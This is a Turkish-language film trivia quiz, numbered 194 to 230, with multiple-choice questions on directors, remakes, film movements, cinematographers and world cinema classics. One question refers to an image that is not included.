194. Melanet peşindeki şeytan’ın dünyaya “elçilerini” göndermesi, Marcel Carne’nin ‘Gece Ziyaretçileri’nde nefis işlenmişti.

Aşağıdaki filmlerden hangisi bu şematiği yeniden işlerken, beraberinde “şeytanın gözündeki arpacık” ve “dolaba kilitlenen iblis” gibi absürd anlar da içerir?

a-) Ansiktet (1958) / Ingmar Bergman
b-) Wings of Desire (1987) / Wim Wenders
c-) Djävulens öga (1960) / Ingmar Bergman
d-) Flesh and the Devil (1927) / Clarence Brown
e-) Valerie a tyden divu (1970) / Jaromil Jires

195.
- Nükleer savaş senaryosu çizilmiştir.
- Yakın planda ekrana yansıyan yüzler ve vücutlar, savaşın vahşetini gözler önüne sermektedir.
- Bir sahnede askerlerce kurşuna dizilen iki asi görürüz.
- Röportaj görüntüleri kullanılmıştır.

Bahsedilen film aşağıdakilerden hangisidir?

a-) Sans soleil (1983) / Chris Marker
b-) The War Game (1965) / Peter Watkins
c-) The Atomic Cafe (1982) / Jayne Loader
d-) On The Beach (1959) / Stanley Kramer
e-) La jetee (1962) / Chris Marker

196.
- Howard Hawks -
Çıraklık Eserim: Rio Bravo {Kahramanlar Şehri}
Kalfalık Eserim: Scarface {Yaralı Yüz}
Ustalık Eserim: Red River {Kızıl Nehir}

- Steven Spielberg -
Çıraklık Eserim: Jaws
Kalfalık Eserim: The Color Purple {Mor Yıllar}
Ustalık Eserim: Schindler’s List {Schindler’in Listesi}

- Wong Kar Wai -
Çıraklık Eserim: Chungking Express
Kalfalık Eserim: Happy Together
Ustalık Eserim: Fa yeung nin wa {Aşk Zamanı}

- Jim Jarmusch -
Çıraklık Eserim: Down by Law
Kalfalık Eserim: Night on Earth
Ustalık Eserim: Ghost Dog: The Way of the Samurai

- Jean-Pierre Jeunet -
Çıraklık Eserim: Delicatessen {Şarküteri}
Kalfalık Eserim: La cité des enfants perdus {Kayıp Çocuklar Şehri}
Ustalık Eserim: Amelie

Üstteki derecelendirmeler, nitelik değil “kronolojik sıra” gözetilerek yapılmıştır. Bu oldukça kolay soruda, yanlış olduğu çok “bariz” şekilde görülen seçenek aşağıdakilerden hangisidir?

a-) Howard Hawks
b-) Steven Spielberg
c-) Wong Kar Wai
d-) Jim Jarmusch
e-) Jean-Pierre Jeunet

197. Küçük insanların sıradan hayatlarının yönetmeni Mike Leigh’in, oldukça uzun ve felsefik diyaloglarla hatırlanacak nihilist filmi aşağıdakilerden hangisidir?

a-) Secrets & Lies (Sırlar ve Yalanlar – 1996)
b-) Naked (Çıplak – 1993)
c-) Life Is Sweet (Hayat Tatlıdır – 1990)
d-) All or Nothing (Ya Hep Ya Hiç – 2002)
e-) High Hopes (Büyük Umutlar – 1988)

198. “Bütün öğrettiklerimi unutun. Dünya dönüyor evet, ama kimbilir, bu dağ başında dönmediğini bilmeniz daha doğrudur belki. Size hayat bilgisi dersi verdim. Ama siz hayatın gerçek bilgisini burada, bu dağ başındaki köyünüzde, sonra uzak kentlerdeki askerliğinizde, mahpusluklarınızda öğreneceksiniz. Unutmayın ki kitapların yazdığı her zaman doğru değildir. Benim için doğru olan, sizin için doğru değildir; benim için gerçek olan, sizin için gerçek değildir.
Sizler, karın üstünde yalınayak yürüyüp ölmeyenlerdensiniz. İnsanlar yavrularım, üç aylık bebekken bilinmeyen hastalıklardan ölmeden de yaşayabilirler. Cüzzam, trahom alın yazısı değildir. Hiçbir şey alın yazısı değildir.”

Bu sözleri sarf eden bir öğretmen için -bu sözleri bir filmin son sahnelerinde duyduğunu farzedelim- hangi filmdeki meslektaşına öykündüğü söylenebilir?

a-) Au revoir les enfants (Hoşçakalın Çocuklar – 1987) / Louis Malle
b-) The Prime Miss of Jean Brodie (1969) / Ronald Neame
c-) İki Dil Bir Bavul (2008) / Özgür Doğan & Orhan Eskiköy
d-) Dead Poets Society (Ölü Ozanlar Derneği – 1989) / Peter Weir
e-) Hakkari’de Bir Mevsim (1983) / Erden Kıral

199. ‘The Black Pirate’ {Kara Korsan – 1926}, Douglas Fairbanks’in efsaneleştiği klasik sessizlerden biridir. Korsan temalı bu filmi çok seven birine, aşağıdakilerden hangisinin önerilmesi “daha” evlâdır?

a-) White Shadows in the South Seas (1928) / W.S. Van Dyke
b-) Anatahan (1953) / Josef von Sternberg
c-) Les trois couronnes du matelot (1983) / Raoul Ruiz
d-) By the Bluest of Seas (1936) / Boris Barnet
e-) Captain Blood (1935) / Michael Curtiz

200. Baskı dönemlerinin yerini bıraktığı yeni manzarada, “toplumsal değişimleri” yakalamaya çalışan film, tüm bu değişimleri … isimli küçük burjuva bir entelektüelin penceresinden gözler önüne seriyor. Kabızlık çeken bir sanatçı olan …, değişim sonrası ülkesinde kalmayı yeğleyip (oysa eşi, ilk sahnede ükeyi terk edip özgürlükler diyarına uçuyordu.) mevcut manzarayı yerinde solumaya başlıyor. Ferah apartman katındaki teleskopundan şehri izlerken “Değişen bir şey yok!” dese de, bir süre sonra “yeni sistemin” farkına varıyor. Bu film, yeni dönemle birlikte eski “ayrıcalıklı” yaşamlarını kaybeden kültürlü/burjuva kesimin içine düştükleri açmazları ana mesele ediniyor.
“Picasso’nun komünist bir milyoner olarak Paris’te ne yaptığını” merak eden kahramanımızın içsel monologlarıyla takip ediyoruz filmi. Bu anlatım, filmi Yeni Dalga’ya yaklaştırıyor.

Üstte, hangi başyapıt tarif edilmeye çalışılmaktadır?

a-) Xi meng ren sheng {The Puppetmaster – 1993} / Hsiao-hsien Hou
b-) Tre fratelli {Üç Kardeş – 1981} / Francesco Rosi
c-) In the Year of the Pig {Domuz Yılında – 1968} / Emile de Antonio
d-) Memorias del subdesarrollo {Azgelişmişliğin Anıları – 1968} / Tomás Gutiérrez Alea
e-) Tini zabutykh predkiv {Unutulmuş Atalarımızın Gölgeleri – 1965} / Sergei Parajanov

201. Akademi ödüllü (‘Mendillerinizi Hazırlayın‘ – En İyi Yabancı Film) bu yönetmen, “saçma” bir mizah ve anarşist öğeler barındıran filmleriyle, ikinci kuşak Yeni Dalga içerisinde apayrı bir yer teşkil etmiştir.

Tarif edilen yönetmen kimdir?

a-) Claude Miller
b-) Alain Corneau
c-) Rene Clement
d-) Bertrand Blier
e-) Philippe de Broca

202. Demir Perde Sineması, sansür dolayısıyla seyircisiyle çok geç buluşan filmler yumağı barındırır. Menzel’in muhteşem taşlaması ‘Öksedeki Tarla Kuşları’ {Skrivánci na niti}; Zulawski’nin ilginç distopyası ‘Gümüş Küre‘ {Na srebrnym globie}; Skolimowski’nin sinemanın anlatım dilini alabildiğine zorladığı ‘Rece do gory‘; bir kadının ne olduğunu anlayamadan göz altına alındığı (Costa-Gavras’ın ‘L’aveu’su gelir akıllara) ve işkencelere maruz kaldığı sarsıcı Ryszard Bugajski filmi ‘Sorgulama‘ {Przesluchanie}, gösterime girmek için senelerce beklemek zorunda kalmışlardır.

Söz konusu “yasak” ve bekleyiş, zamansız ölümüyle sinema severleri derinden üzmüş Krzysztof Kieslowski’de hangi parçaya denk gelir?

a-) La double vie de Véronique (Veronica’nın İkili Yaşamı)
b-) Krótki film o zabijaniu (Öldürme Üzerine Bir Film)
c-) Dekalog {On Emir}
d-) Krótki film o milosci (Aşk Üzerine Bir Film)
e-) Przypadek (Kör Talih)

203. Pacino’nun kör bir asker emeklisi, De Niro’nun intikam peşindeki Max Cady rolünde döktürdükleri ‘Scent of a Woman‘ (Kadın Kokusu, 92) ve ‘Cape Fear‘ (Korku Burnu, 91), aynı adlı filmlerin re-makeleriydi… 1986 yapımı ‘The Hitcher’ (Otostopçu) ise, yönetmen/aktris Ida Lupino’nun ‘The Hitch-Hiker‘ (1953) isimli filminin re-makesiydi. Tabii Lupino’nun filminde yol sineması ve noir öğeleri baskınken; 86 yapımı Otostopçu, korku türüne yakın duruyordu.

Aşağıdaki 80′ler yapımı filmlerden hangisi, bir yeniden çevrim değildir?

a-) Manon des sources {Manon’un Pınarları – 1986} / Claude Berri
b-) Thing {Şey – 1982} / John Carpenter
c-) Death of a Salesman {Satıcının Ölümü – 1985} / Volker Schlöndorff
d-) The French Lieutenant’s Woman {Fransız Teğmenin Karısı – 1981} / Karel Reisz
e-) The Postman Always Rings Twice {Postacı Kapıyı İki Kere Çalar – 1981} / Bob Rafelson

204. Aşağıda, kimi teknik terimler ve açıklamaları verilmiştir. Yanlış olan hangisidir?

a-) Şaryo: Bir kamera düzeneği
b-) Deep Focus: Net alan derinliği
c-) Travelling: Kaydırma
d-) Sekans: Sahneler toplamı
e-) Dramatik Yapı: Alt metinler

205.
I-) Mr Deeds Goes to Town {Bay Deeds Şehre Gidiyor – 1936} / Frank Capra
II-) Bez znieczulenia {Uyuşturmadan – 1978} / Andrzej Wajda
III-) A Night Full of Rain {Yağmur Dolu Bir Gece – 1978} / Lina Wertmüller
IV-) Gentleman’s Agreement {Centilmenlik Anlaşması – 1947} / Elia Kazan
V-) Foreign Correspondent {Yabancı Muhabir – 1940} / Alfred Hitchcock
VI-) Under Fire {Ateş Altında – 1982} / Roger Spottiswoode
VII-) His Girl Friday {Cuma Kızı – 1940} / Howard Hawks
VIII-) Sweet Smell of Success {Başarının Mis Kokusu – 1957} / Alexander Mackendrick
IX-) A tanu {Tanık – 1969} / Peter Bacsó
X-) Ace in the Hole {Büyük Karnaval – 1951} / Billy Wilder

Üstteki 10 filmin 9′u, medya (gazetecilik/muhabirlik) sularında yüzer. Dışarıda kalacak film hangisidir?

a-) IX b-) X c-) II d-) VIII e-) VII

206. Finzi Contini’lerin Bahçesi…

Claude Goretta’nın ‘L’invitation‘ {Davet – 1973}, Fassbinder’in ‘Chinese Roulette‘ {Çin Ruleti – 1976} ve Louis Malle’nin ‘Milou en mai‘ {Mayıs’ta Milou – 1990} filmlerinde resmedilen burjuvazi – taşra – bireysel çatışmalar/yüzleşmeler üçgenli şema; 2000′lerin başındaki hangi aile temalı unutulmaz filmde tekrarlanıyordu?

a-) Nueve reinas {Dokuz Kraliçe – 2000} / Fabián Bielinsky
b-) La ciénaga {Bataklık – 2001} / Lucrecia Martel
c-) Sud pralad {Tropik Hastalık – 2004} / Apichatpong Weerasethakul
d-) Cidade de Deus {Tanrıkent – 2002} / Fernando Meirelles
e-) Amores perros {Paramparça Aşklar ve Köpekler – 2000} / Alejandro González Iñárritu

207. “Marx’ın çocukları mı, yoksa Coca Cola çocukları mı?”
diye sormuştu Godard, 68′den beslenen ‘Masculin feminin’ {Erkeksi Kadınsı – 1966} filminde.

Aşağıda, Berlin Duvarı’nın ya da iki Almanya motifinin akla getirdiği 5 film sıralanmıştır. Komik resmedilmiş Demirperde elçileriyle ve “Coca Cola” göndermeleriyle anımsananı hangisidir?

a-) One, Two, Three (1961) / Billy Wilder
b-) Hedwig and the Angry Inch (2001) / John Cameron Mitchell
c-) The Rabbit Is Me (1965) / Kurt Maetzig
d-) Der Tunnel (2001) / Roland Suso Richter
e-) Allemagne 90 neuf zéro (1991) / Jean-Luc Godard

208. Karl Freund (Metropolis – 27) ve Gunnar Fischer (Det sjunde inseglet – 57), hiç şüphe yok ki en büyük ustaları arasındaydı…

Aşağıdakilerden hangisi, sinemanın efsane görüntü yönetmenlerinden biri değildir?

a-) Sven Nykvist
b-) David O. Selznick
c-) Sacha Vierny
d-) Jack Cardiff
e-) Janusz Kaminski

209.

Yusuf:
- A Night at the Opera (1935) / Sam Wood
- My Darling Clementine (1946) / John Ford
- The Life and Death of Colonel Blimp (1943) / Michael Powell & Emeric Pressburger
- The Man Who Shot Liberty Valance (Kahramanın Sonu – 1962) / John Ford
- Campanadas a medianoche (1965) / Orson Welles
- The Big Sky (1952) / Howard Hawks
- A Tree Grows in Brooklyn (1945) / Elia Kazan
- The Heiress (1949) / William Wyler
- Sergeant York (Aslan Yürekli Çavuş – 1941) /  Howard Hawks
- The Ox-Bow Incident (1943) / William A. Wellman
- The Treasure of the Sierra Madre (1948) / John Huston
- Gaslight (1944) / George Cukor
- Crossfire (1947) / Edward Dmytryk
- The Tall T (1957) / Budd Boetticher
- The Ghost and Mrs. Muir (1947) / Joseph L. Mankiewicz

Kenan:
- Stars in My Crown (1950) / Jacques Tourneur
- The Lady Eve (1941) / Preston Sturges
- The Apartment (Garsoniyer – 1960) / Billy Wilder
- An American in Paris (Paris’te Bir Amerikalı – 1951) / Vincente Minnelli
- Hush…Hush, Sweet Charlotte (1964) / Robert Aldrich
- The Shop Around the Corner (1940) / Ernst Lubitsch
- The Philadelphia Story (1940) /  George Cukor
- The More the Merrier (1943) / George Stevens
- The Bank Dick (1940) / Edward F. Cline
- It’s a Gift (1934) / Norman Z. McLeod

Recep:
- It Always Rains on Sunday (1947) / Robert Hamer
- Fort Apache (1948) / John Ford
- Duel in the Sun (Kanlı Aşk – 1946) / King Vidor
- A Place in the Sun (İnsanlık Suçu  – 1951) / George Stevens
- The Graduate (Aşk Mevsimi – 1967) / Mike Nichols
- A Letter to Three Wives (Üç Kadına Bir Mektup – 1949) / Joseph L. Mankiewicz
- Rebel Without a Cause (Asi Gençlik – 1955) / Nicholas Ray
- King Kong (1933) / Merian C. Cooper & Ernest B. Schoedsack
- Stella Dallas (1937) / King Vidor
- The Children’s Hour (Çocukların Saati – 1961) / William Wyler
- The Fallen Idol (1948) / Carol Reed
- Only Angels Have Wings (1939) / Howard Hawks
- The Little Foxes (Küçük Tilkiler – 1941) / William Wyler
- A Raisin in the Sun (Güneşte Bir Leke – 1961) / Daniel Petrie
- Murder, My Sweet (1944) / Edward Dmytryk

Zehra:
- Written on the Wind (Rüzgara Yazılanlar – 1956) / Douglas Sirk
- Gentlemen Prefer Blondes (Erkekler Sarışınları Sever – 1953) / Howard Hawks
- Body and Soul (1947) / Robert Rossen
- 42 Street (42. Cadde – 1933) / Lloyd Bacon
- A Man for All Seasons (Her Devrin Adamı – 1966) / Fred Zinnemann
- The Day the Earth Stood Still (1951) / Robert Wise
- How Green Was My Valley (Vadim O Kadar Yeşildi ki – 1942) / John Ford
- They Made Me a Fugitive (1947) / Alberto Cavalcanti
- The Bridge on the River Kwai (1957) / David Lean
- The Seven Year Itch (Yaz Bekarı – 1955) / Billy Wilder
- Anatomy of a Murder (1959) / Otto Preminger
- The Killing (1956) / Stanley Kubrick
- I Was a Male War Bride (1949) / Howard Hawks
- Cat People (Kedi Kadın – 1942) / Jacques Tourneur
- The Wild Bunch (Vahşi Belde – 1969) / Sam Peckinpah
- Remember the Night (1940) / Mitchell Leisen
- In the Heat of the Night {Gecenin Sıcağında – 1967} / Norman Jewison

Ayşe:
- Seven Brides for Seven Brothers (Yedi Kardeşe Yedi Gelin – 1954) / Stanley Donen
- Meet Me in St. Louis (1944) / Vincente Minnelli
- My Fair Lady (Benim Tatlı Meleğim – 1964) / George Cukor
- Destry Rides Again (1939) / George Marshall
- Nightmare Alley (1947) Edmund Goulding
- Deadly Is the Female (1950) / Joseph H. Lewis
- Top Hat (1935) / Mark Sandrich
- Gold Diggers of 1933 (Altın Arayan Kızlar – 1933) / Mervyn LeRoy
- Force of Evil (1948) / Abraham Polonsky
- Roman Holiday (Roma Tatili – 1953) / William Wyler
- You Can’t Take It with You (1938) / Frank Capra
- The Hustler (1961) / Robert Rossen
- The Bad Seed (Kötü Tohum – 1956) / Mervyn LeRoy
- Auntie Mame (1958) / Morton DaCosta
- Bringing Up Baby (1938) / Howard Hawks
- Inherit the Wind (Rüzgarın Mirası – 1960) / Stanley Kramer
- I Am a Fugitive from a Chain Gang (1932) / Mervyn LeRoy
- Charade (1963) / Stanley Donen
- Judgment at Nuremberg (Nüremberg Duruşmaları – 1961) / Stanley Kramer
- The Killers (Katiller – 1946) / Robert Siodmak
- Love Me Tonight (1932) / Rouben Mamoulian
- Wait Until Dark (1967) / Terence Young
- Make Way for Tomorrow (1937) / Leo McCarey
- Sons of the Desert (1933) / William A. Seiter
- The Thin Man (İnce Adam – 1934) / W.S. Van Dyke
- What Ever Happened to Baby Jane? (1962) / Robert Aldrich

Beş kişinin ‘Klasik Amerikan Sineması’na mensup en favori filmleri görülmektedir. Buna göre aşağıdakilerden hangisi “tastamam” olarak doğrudur?

a-)
Yusuf: Katı gerçekçi. Fantastik filmlerden hiç haz etmiyor.
Kenan: Listesi büyük oranda hafif romantik komedilerden oluşuyor.
Recep: Zamanında üzerinden lezbiyen okumalar yapılmış bir film onun listesinde.
Zehra: Listesinde birden fazla mahkeme filmi bulunuyor.
Ayşe: Laurel & Hardy ikilisinin belki de en güzel ve en ünlü filmi onun listesinde.

b-)
Yusuf: Eski western kalıplarını devam ettiren -adı saklı- yönetmen onun listesinde.
Kenan: Listesi sayıca az ama birden fazla müzikal barındırıyor.
Recep: Filmlere bakılacak olursa diğerlerine göre daha karamsar ve isyankar bir ruh taşıyor.
Zehra: Ne yani, kadınlar da boks filmleri ve noir sevemez mi!
Ayşe: Müzikal sever olduğu neredeyse kesin.

c-)
Yusuf: Film-noire zaafı olduğu kesin.
Kenan: Klasik dönem korku sinemasına yakın biri.
Recep: James Dean’ı efsane haline getiren filmlerden biri onun listesinde.
Zehra: Ağır çekim çatışma sahneleriyle efsaneleşmiş bir western onun listesinde.
Ayşe: Yanlışlıkla İngiliz yapımı bir film almış listesine. Haksız da değil, çok sağlam bir noirdi.

d-)
Yusuf: İç mekan kullanımıyla öne çıkan Ford westerni onun listesinde.
Kenan: Onun listesinde ise hiç western bulunmuyor.
Recep: Kesinlikle Bette Davis hayranı.
Zehra: Westernlerin yönetmeninin bu kez toplumcu bir konuya eğildiği ve madenci ailesini anlattığı film onun listesinde.
Ayşe: Simone Simon’lu efsane korku filmi ise onun listesinde.

e-)
Yusuf: Listesinde epik bir Shakespeare uyarlaması dikkat çekiyor.
Kenan: W.C. Fields’li komedi filmlerini seviyor.
Recep: İki kovboy kardeşin arasını açan Pearl karakteri, onun listesindeki bir filmde.
Zehra: Tür olarak en heterojen liste onun.
Ayşe: Bazı bölümlerde metropolü doya doya gösteren, bol geveze bir film noir var listesinde.

210. “Fransızların Hitchcock’u” olarak anılan Henri-Georges Clouzot, başta gerilim türünde olmak üzere, sinema sanatına muhteşem filmler armağan etmiştir. Yine polisiye de (bkz. ‘Quai des Orfèvres’) onun yetkin olduğu alanlardan biridir.

Aşağıdakilerden hangisi, Clouzot’un yönettiği bir film değildir?

a-) Les yeux sans visage {Suratsız Gözler – 1960}
b-) Les diaboliques {Şeytan Ruhlu İnsanlar – 1955}
c-) Le salaire de la peur {Dehşet Yolcuları – 1953}
d-) Le corbeau {Karga – 1943}
e-) La vérité {Gerçek – 1960}

211. Psychedelic bir anlatım dahilinde, uyuşturucu ile dirsek teması, 1960′lar ve 70′ler sinemasının uğrak noktaları arasındaydı. Hep şu hippilerin marifeti!

Dönemin Edgar Allan Poe aşığı yönetmenlerinden Roger Corman’ın hangi filminde, uyuşturucu/LSD kullanan bir adam merkezdeydi ve izleyici -çeşitli biçimsel numaralarla- LSD’nin deneyimlerini görmeye davet ediliyordu?

a-) The Tingler (1959)
b-) The Masque of the Red Death (1964)
c-) The Trip (1967)
d-) Punishment Park (1971)
e-) Pit and the Pendulum (1961)

212.
- …, Dışavurumcu bir yönetmenin, Hollywood stüdyolarında gerçekleştirdiği filmdir. Tıpkı ‘City Girl’ gibi kır/kent şemalıdır. Kilise sahnesi de ipucu olsun.
- …, Monty Python serilerinin de yönetmeni olan düşler sinemacısı Terry Gilliam’ın çizdiği bürokratik bir gelecek tasviridir.
- …, kuyruklu piyano, göz ve ustura kombinasyonuyla anımsanan bir sürrealizm harikasıdır.
- …, Ingmar Bergman’ın korku sinemasına göz kırptığı, kabuslarla örülü bir filmdir.

Boş bırakılan yerlere getirilemeyecek şık hangisidir?

a-) Sunrise: A Song of Two Humans {Şafak – 1927}
b-) The Wedding March {Düğün Marşı – 1928}
c-) Brazil (1985)
d-) Vargtimmen {Kurdun Saati – 1968}
e-) Un chien andalou {Bir Endülüs Köpeği – 1929}

213. Bir 3. Dünya manifestosu olan ‘Fırınların Saati’ (La hora de los hornos – 1968) belgeselinin usta yönetmeni Fernando E. Solanas’ın, sisli sokaklarıyla/danslarıyla hatırlanacak ve Yılmaz Güney’e ithaf ettiği şiirsel filmi aşağıdakilerden hangisidir?

a-) La Nube {Bulut – 1998}
b-) Sur {Güney – 1988}
c-) El viaje {Yolculuk – 1992}
d-) La batalla de Chile (1977)
e-) A Hora da Estrela (1986)

214. Aşağıdakilerden hangisi, suç filmlerinin büyük üstadı Jules Dassin’in -bu anlamda- tarzının dışına çıktığı işlerdendir?

a-) Du rififi chez les hommes (1955)
b-) The Naked City (1948)
c-) Night and the City (1950
d-) Pote tin Kyriaki (1960)
e-) Thieves’ Highway (1949)

215. Rainer Werner Fassbinder, kariyeri boyunca pek çok türde eser vermiştir. İlk dönemlerindeki gangster çalışmalarından distopik dünyalara (Welt am Draht), westernden (Whity) politize gençlik tasvirine, oradan müzikallere…
Fassbinder, sinemasının aslan payını ise dramlara ve kadına hasretmiştir. BDR üçlemesi kadınları (Lola, Maria Braun, Veronika Voss) bu anlamda akıllara kazınmıştır. Yanı sıra… Bir nevi Fassbinder’in ‘Rosemary’s Baby’i diyebileceğimiz kasavet dolu …….. filminde, bir kadının bunalım süreci adım adım yükselen bir gerilimle işlenmiştir.
Fakat onun sinemasında deliren her zaman kadın olmuyor. İlk dönemlerinde gelen ‘Warum läuft Herr R. Amok‘un son sahnelerinde iyice şirazeden çıkan bir erkek görmüştük.

Boş bırakılan yere aşağıdakilerden hangisi getirilmelidir?

a-) Die verlorene Ehre der Katharina Blum (1975)
b-) Lili Marleen (1981)
c-) In einem Jahr mit 13 Monden (1978)
d-) Angst von Angst (1975)
e-) Fontane Effi Briest (1974)

216. İşgal yıllarının et karaborsacıları, unutulmuş yönetmenlerden Claude Autant-Lara’nın hangi filminde işlenmiştir? (Jean Gabin, Bourvil, gece, loş ve ıssız sokaklar…)

a-) La traversée de Paris {Paris Yolculuğu – 1966}
b-) La grande vadrouille {Şahane Oyun – 1966}
c-) Le rouge et le noir {Kızıl ve Kara – 1958}
d-) Douce (1943)
e-) Le diable au corps {İçimizdeki Şeytan – 1947}

217. Aşağıda, filmler ve konuk ettikleri spor dalları eşleştirilmiştir. Yanlış olan eşleştirme hangisidir?

a-) Hoop Dreams {1994, Steve James} — “Basketbol”
b-) Horse Feathers {1932, Norman Z. McLeod} — “Amerikan Futbolu”
c-) Barocco {1976, André Téchiné} — “Boks”
d-) This Sporting Life {1963, Lindsay Anderson} — “Atletizm”
e-) Gregory’s Girl {1981, Bill Forsyth} — “Futbol”

218. Leni Riefenstahl’ın propaganda amaçlı Olympia’larına ‘Tôkyô orimpikku‘ (1965) ile cevap veren; ‘Nobi‘ (1959) ve ‘The Burmese Harp‘ (1956) gibi çok çarpıcı iki savaş freskiyle ya da rengarenk bir kabuki gösterisiyle açılan ‘An Actor’s Revenge‘ (1963) ile hatırlanabilecek yönetmen aşağıdakilerden hangisidir?

a-) Kon Ichikawa
b-) Masaki Kobayashi
c-) Kazimierz Kutz
d-) Dorothy Arzner
e-) Teinosuke Kinugasa

219. “Son ırmak kuruduğunda, son ağaç yok olduğunda, son balık öldüğünde; beyaz adam paranın yenmeyen bir şey olduğunu anlayacak.” (Kızılderili atasözü)

Şerifin yıldızı, kasabanın emniyetini temsil eder. Kovboylar, aynı zamanda sığır avcılarıdır. Poker, kadın ve içkiden arta kalan zamanlarında sadece insan avlamazlar; bizon da avlarlar. Avlarlar ki, “vahşi yerlilere” yiyecek kalmasın. “Beyaz adam”a göre onlar vahşidir, düşmandır, toprak ve özgürlük nelerine!
Western, Amerika’nın -çarpıtılmış- kahramanlık tarihidir.

Aşağıdakilerden hangisi, yerlilerin de (kızılderililer) nihayet bir “insan” olduğunu hatırlayan westernlerden değildir?

a-) Soldier Blue (Mavi Askerler – 1970) / Ralph Nelson
b-) Little Big Man (Küçük Dev Adam – 1970) / Arthur Penn
c-) Broken Arrow (Kırık Ok – 1950) / Delmer Daves
d-) The Searchers (Çöl Aslanı – 1956) / John Ford
e-) Apache (Apaçi – 1954) / Robert Aldrich

220. Kurt kocayınca…

Takeshi Kitano’nun, yakuzalara frizbi oynattığı kült bir sahneyle hatırlanacak filmi aşağıdakilerden hangisidir?

a-) Sonatine (1993)
b-) Zatoichi (2003)
c-) Kikujirô no natsu (Kikujiro’nun Yazı – 1999)
d-) Dolls (Bebekler – 2002)
e-) Hana-bi (Havai Fişekler – 1997)

221.Sympathy for the Devil’ {1968 – Jean-Luc Godard}, ‘Don’t Look Back‘ {1967 – D.A. Pennebaker}, ‘A Hard Day’s Night‘ {1964 – Richard Lester}, ‘Head‘ {1968 – Bob Rafelson}, ‘Woodstock’ {1970, Michael Wadleigh} vb…

Aşağıda, rock’n roll ya da 68 kültüründen beslenen 5 film daha görülmektedir. Hangisi, bir The Beatles filmidir ve animasyon türünde çekilmiştir?

a-) Hair (Bırak Güneş İçeri Girsin – 1979) / Milos Forman
b-) Performance (1970) / Nicolas Roeg
c-) More (1969) / Barbet Schroeder
d-) Yellow Submarine (1968) / George Dunning
e-) Ice (1969) / Robert Kramer

222.The Browning Version‘ (1951 – Anthony Asquith) ve ‘Hets‘ (1944 – Alf Sjöberg) filmlerini her izlediğinde “Aynı beladan bizde de var bir tane!” şeklinde söylenen biri, kimi kastediyor olabilir?

a-) Abisini
b-) Eşini
c-) Patronunu
d-) Öğretmenini
e-) Komutanını

223.
- Belgesel yönüyle öne çıkmaktadır. Çeşitli kişilerle yapılan röportajlara ve arşiv görüntülerine yer verilmiştir.
- Yönetmenin bir nevi ‘Sekiz Buçuk’udur. Kendisi de bir yönetmen rolündedir zaten. Sinemanın sinemaya baktığı filmlerdendir.

Üstte tarifi yapılan Woody Allen filmleri, hangi seçenekte doğru verilmiştir?

a-) Crimes and Misdemeanors (1989) — Annie Hall (1977)
b-) Radio Days (1987) — The Purple Rose of Cairo (1985)
c-) Interiors (1978) — Broadway Danny Rose (1984)
d-) Manhattan (1979) — Bananas (1971)
e-) Zelig (1983) — Stardust Memories (1980)

224.
- İtalya seyahatinde, zıt karakterlere sahip iki erkek arasında kalan genç bir kız…
- Madonna’lı bir yeniden çevrimin azizliğine uğramış, sınıf tandanslı Lina Wertmüller filmi…
- Claude Lanzmann’ın Yahudi soykırımına eğildiği başyapıtı…
- Bahçıvan adam ve burjuva kadının, çevrece mahkum edilen ilişkileri… (Farklı da olsa, Gregory La Cava’nın 36 tarihli ‘My Man Godfrey’i gelir akla. Ya da 89 yapımı ‘Driving Miss Daisy’.)

Bahsi edilmeyen filmi bulunuz?

a-) When a Woman Ascends the Stairs {Basamaklardaki Kadın – 1960}
b-) Shoah (1985)
c-) A Room with a View {Manzaralı Oda – 1985}
d-) All That Heaven Allows (1955)
e-) Travolti da un insolito destino nell’azzurro mare d’agosto (1974)

225.

Yukarıdaki “el” (Bresson’un eli değil tabii bu:), hangi unutulmaz klasiğin bir o kadar unutulmaz karakterine aittir?

a-) The Night of the Hunter (Caniler Avcısı – 1955) / Charles Laughton
b-) Le procès (Dava – 1962) / Orson Welles
c-) Psycho (Sapık – 1960) / Alfred Hitchcock
d-) Giant (Devlerin Aşkı – 1956) / George Stevens
e-) The Asphalt Jungle (Elmas Hırsızları – 1950) / John Huston

226. İngilizlerin sıradışı ve tabuları zorlayan yönetmeni Ken Russell’ın, iki erkeğin odada güreştikleri müstehcen sahneyle skandal yaratmış filmi aşağıdakilerden hangisidir?

a-) The Devils (1971)
b-) Women in Love (1969)
c-) The Music Lovers (1970)
d-) Tommy (1975)
e-) Altered States (1980)

227. İngiltere menşeli ‘Free Cinema‘ (Özgür Sinema), işçi sınıfının ve sıradan insanların yaşamlarını en rafine halleriyle ekrana taşıyor; bunu yer yer sistemin altına dinamit döşeyerek gerçekleştiriyordu. Akımın, Tony Richardson’un ‘Look Back in Anger’ {Öfke – 1959} filmi ile başladığı söylenir.

Aşağıdakilerden hangisi, doğrudan akıma dahil örneklerden biri değildir?

a-) Saturday Night and Sunday Morning {Sevişme Günleri – 1960}
b-) The Last Picture Show {Son Gösteri – 1971}
c-) If… {Eğer – 1968}
d-) This Sporting Life {Sporcunun Hayatı – 1963}
e-) The Loneliness of the Long Distance Runner {Uzun Mesafe Koşucusunun Yalnızlığı – 1962}

228. ……, ülkelerin siyasal/toplumsal/kültürel tarihlerini, “zamana yayarak” aktaran bazı filmler çekmiştir. 100 yıllık kesitin, 50 yıllık kesitin kısım kısım anlatılması gibi. Yani ‘1900‘de (Novecento – 1976) Bertolucci’nin, ‘La meglio gioventù‘da (The Best of Youth – 2003) Giordana’nın harika şekilde kotardıkları anlatım.

Boş bırakılan yere hangi yönetmen getirilmelidir?

a-) Ettore Scola
b-) Mario Monicelli
c-) Alexandre Astruc
d-) Marguerite Duras
e-) Chantal Akerman

229. “Artık ikiyüzlülüğe son!”
İnsanların “renginin” görülebildiği bir kasaba burası. Renkler, o kişinin ne tıynette biri olduğunu ele vermektedir. (Mesela aşıkların rengi kırmızıdır. Sahtekarların rengi mordur.) Bütün bunları sağlayansa bir kedi ve gözlük olmuştur. Evet, sihirli bir kedi!

Bahsi edilen mucizeyi, Çek Yeni Dalga’sının hangi kült işi gerçekleşmiştir?

a-) Az prijde kocour (1963) / Vojtech Jasny
b-) O slavnosti a hostech (Parti ve Konuklar – 1966) / Jan Nemec
c-) Szindbad (1971) / Zoltán Huszárik
d-) Covek nije tica (İnsan Bir Kuş Değildir – 1965) / Dusan Makavejev
e-) Matka Joanna od aniolów {Meleklerin Joanna Ana’sı – 1961} / Jerzy Kawalerowicz

230. Sinema tarihindeki en ayrıksı ve çizgi-dışı Hamlet uyarlamaları iki yönetmenden gelmiştir. Biri, Tom Stoppard’dır. Diğeri kimdir?

a-) Laurence Olivier
b-) Peter Greenaway
c-) Kenneth Branagh
d-) Aki Kaurismaki
e-) Alexander Korda

